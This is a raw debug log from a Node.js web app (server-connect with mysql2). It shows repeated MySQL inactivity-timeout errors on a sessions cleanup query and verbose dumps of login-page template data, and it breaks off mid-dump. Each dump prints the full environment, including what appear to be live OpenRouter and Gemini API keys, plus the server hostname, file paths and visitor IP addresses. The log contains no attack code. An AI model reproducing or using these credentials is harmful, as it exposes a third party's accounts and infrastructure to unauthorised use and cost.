Error: delete from `sessions` where expired < CAST('2026-02-07 17:57:39' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-07 17:57:39' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-07 20:41:39' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-07 20:41:39' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-08 02:27:39' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-08 02:27:39' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-08 07:43:40' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-08 07:43:40' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-08 10:28:40' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-08 10:28:40' as DATETIME)"
}
2026-02-08T12:44:22.743Z server-connect:router Serving templateView /
2026-02-08T12:44:22.745Z server-connect:app Executing action step identify
2026-02-08T12:44:22.745Z server-connect:app options: { provider: 'security' }
2026-02-08T12:44:22.745Z server-connect:auth No login cookie found
2026-02-08T12:44:22.745Z server-connect:output identity: false
2026-02-08T12:44:22.745Z server-connect:app Executing action step restrict
2026-02-08T12:44:22.745Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-08T12:44:22.746Z server-connect:output restrict: undefined
2026-02-08T12:44:22.850Z server-connect:router Serving templateView /login
2026-02-08T12:44:22.851Z server-connect:app Executing action step identify
2026-02-08T12:44:22.851Z server-connect:app options: { provider: 'security' }
2026-02-08T12:44:22.851Z server-connect:auth No login cookie found
2026-02-08T12:44:22.851Z server-connect:output identity: false
2026-02-08T12:44:22.851Z server-connect:router Render template layouts/authentication
2026-02-08T12:44:22.851Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    connection: 'keep-alive',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36',
    'sec-ch-ua': 'Google Chrome";v="111", "Not(A:Brand";v="8", "Chromium";v="111',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9',
    'sec-fetch-mode': 'navigate',
    'x-forwarded-for': '154.28.229.181',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-09T12:44:22.850Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '154.28.229.181',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': 'Google Chrome";v="111", "Not(A:Brand";v="8", "Chromium";v="111',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_X_FORWARDED-FOR': '154.28.229.181',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-02-08T12:44:56.928Z server-connect:router Serving templateView /
2026-02-08T12:44:56.929Z server-connect:app Executing action step identify
2026-02-08T12:44:56.929Z server-connect:app options: { provider: 'security' }
2026-02-08T12:44:56.929Z server-connect:auth No login cookie found
2026-02-08T12:44:56.929Z server-connect:output identity: false
2026-02-08T12:44:56.929Z server-connect:app Executing action step restrict
2026-02-08T12:44:56.929Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-08T12:44:56.930Z server-connect:output restrict: undefined
2026-02-08T12:44:58.532Z server-connect:router Serving templateView /login
2026-02-08T12:44:58.532Z server-connect:app Executing action step identify
2026-02-08T12:44:58.532Z server-connect:app options: { provider: 'security' }
2026-02-08T12:44:58.532Z server-connect:auth No login cookie found
2026-02-08T12:44:58.532Z server-connect:output identity: false
2026-02-08T12:44:58.532Z server-connect:router Render template layouts/authentication
2026-02-08T12:44:58.533Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    connection: 'keep-alive',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36',
    'sec-ch-ua': 'Google Chrome";v="111", "Not(A:Brand";v="8", "Chromium";v="111',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9',
    'sec-fetch-mode': 'navigate',
    'x-forwarded-for': '154.28.229.181',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-09T12:44:58.532Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '154.28.229.181',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': 'Google Chrome";v="111", "Not(A:Brand";v="8", "Chromium";v="111',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_X_FORWARDED-FOR': '154.28.229.181',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-02-08T12:46:53.547Z server-connect:router Serving templateView /
2026-02-08T12:46:53.549Z server-connect:app Executing action step identify
2026-02-08T12:46:53.549Z server-connect:app options: { provider: 'security' }
2026-02-08T12:46:53.549Z server-connect:auth No login cookie found
2026-02-08T12:46:53.549Z server-connect:output identity: false
2026-02-08T12:46:53.549Z server-connect:app Executing action step restrict
2026-02-08T12:46:53.549Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-08T12:46:53.549Z server-connect:output restrict: undefined
2026-02-08T12:46:53.686Z server-connect:router Serving templateView /login
2026-02-08T12:46:53.687Z server-connect:app Executing action step identify
2026-02-08T12:46:53.687Z server-connect:app options: { provider: 'security' }
2026-02-08T12:46:53.687Z server-connect:auth No login cookie found
2026-02-08T12:46:53.687Z server-connect:output identity: false
2026-02-08T12:46:53.687Z server-connect:router Render template layouts/authentication
2026-02-08T12:46:53.687Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    pragma: 'no-cache',
    'cache-control': 'no-cache',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'sec-fetch-site': 'cross-site',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-dest': 'document',
    referer: 'http://ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip,br',
    priority: 'u=0, i',
    cookie: 'wssplashchk=d7df0eb9898969d326a47ee1c9b0fc90947ecf2b.1770558413.1',
    'x-forwarded-for': '34.122.147.229,127.0.0.1',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {
    wssplashchk: 'd7df0eb9898969d326a47ee1c9b0fc90947ecf2b.1770558413.1'
  },
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-09T12:46:53.686Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '34.122.147.229',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_PRAGMA: 'no-cache',
    HTTP_CACHE_CONTROL: 'no-cache',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SEC_FETCH-SITE': 'cross-site',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'http://ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'wssplashchk=d7df0eb9898969d326a47ee1c9b0fc90947ecf2b.1770558413.1',
    'HTTP_X_FORWARDED-FOR': '34.122.147.229,127.0.0.1',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-02-08T12:46:59.214Z server-connect:router Serving templateView /
2026-02-08T12:46:59.214Z server-connect:app Executing action step identify
2026-02-08T12:46:59.214Z server-connect:app options: { provider: 'security' }
2026-02-08T12:46:59.214Z server-connect:auth No login cookie found
2026-02-08T12:46:59.214Z server-connect:output identity: false
2026-02-08T12:46:59.214Z server-connect:app Executing action step restrict
2026-02-08T12:46:59.214Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-08T12:46:59.215Z server-connect:output restrict: undefined
2026-02-08T12:46:59.365Z server-connect:router Serving templateView /login
2026-02-08T12:46:59.365Z server-connect:app Executing action step identify
2026-02-08T12:46:59.365Z server-connect:app options: { provider: 'security' }
2026-02-08T12:46:59.365Z server-connect:auth No login cookie found
2026-02-08T12:46:59.366Z server-connect:output identity: false
2026-02-08T12:46:59.366Z server-connect:router Render template layouts/authentication
2026-02-08T12:46:59.366Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    pragma: 'no-cache',
    'cache-control': 'no-cache',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'sec-fetch-site': 'cross-site',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-dest': 'document',
    referer: 'http://ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip,br',
    priority: 'u=0, i',
    cookie: 'wssplashchk=38bd774a30e45eb4acff4fcd4347e753f7835478.1770558418.1',
    'x-forwarded-for': '205.169.39.18,127.0.0.1',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {
    wssplashchk: '38bd774a30e45eb4acff4fcd4347e753f7835478.1770558418.1'
  },
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-09T12:46:59.365Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '205.169.39.18',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_PRAGMA: 'no-cache',
    HTTP_CACHE_CONTROL: 'no-cache',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SEC_FETCH-SITE': 'cross-site',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'http://ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'wssplashchk=38bd774a30e45eb4acff4fcd4347e753f7835478.1770558418.1',
    'HTTP_X_FORWARDED-FOR': '205.169.39.18,127.0.0.1',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-02-08T12:46:59.521Z server-connect:router Serving templateView /
2026-02-08T12:46:59.522Z server-connect:app Executing action step identify
2026-02-08T12:46:59.522Z server-connect:app options: { provider: 'security' }
2026-02-08T12:46:59.522Z server-connect:auth No login cookie found
2026-02-08T12:46:59.522Z server-connect:output identity: false
2026-02-08T12:46:59.522Z server-connect:app Executing action step restrict
2026-02-08T12:46:59.522Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-08T12:46:59.522Z server-connect:output restrict: undefined
2026-02-08T12:46:59.670Z server-connect:router Serving templateView /login
2026-02-08T12:46:59.671Z server-connect:app Executing action step identify
2026-02-08T12:46:59.671Z server-connect:app options: { provider: 'security' }
2026-02-08T12:46:59.671Z server-connect:auth No login cookie found
2026-02-08T12:46:59.671Z server-connect:output identity: false
2026-02-08T12:46:59.671Z server-connect:router Render template layouts/authentication
2026-02-08T12:46:59.671Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
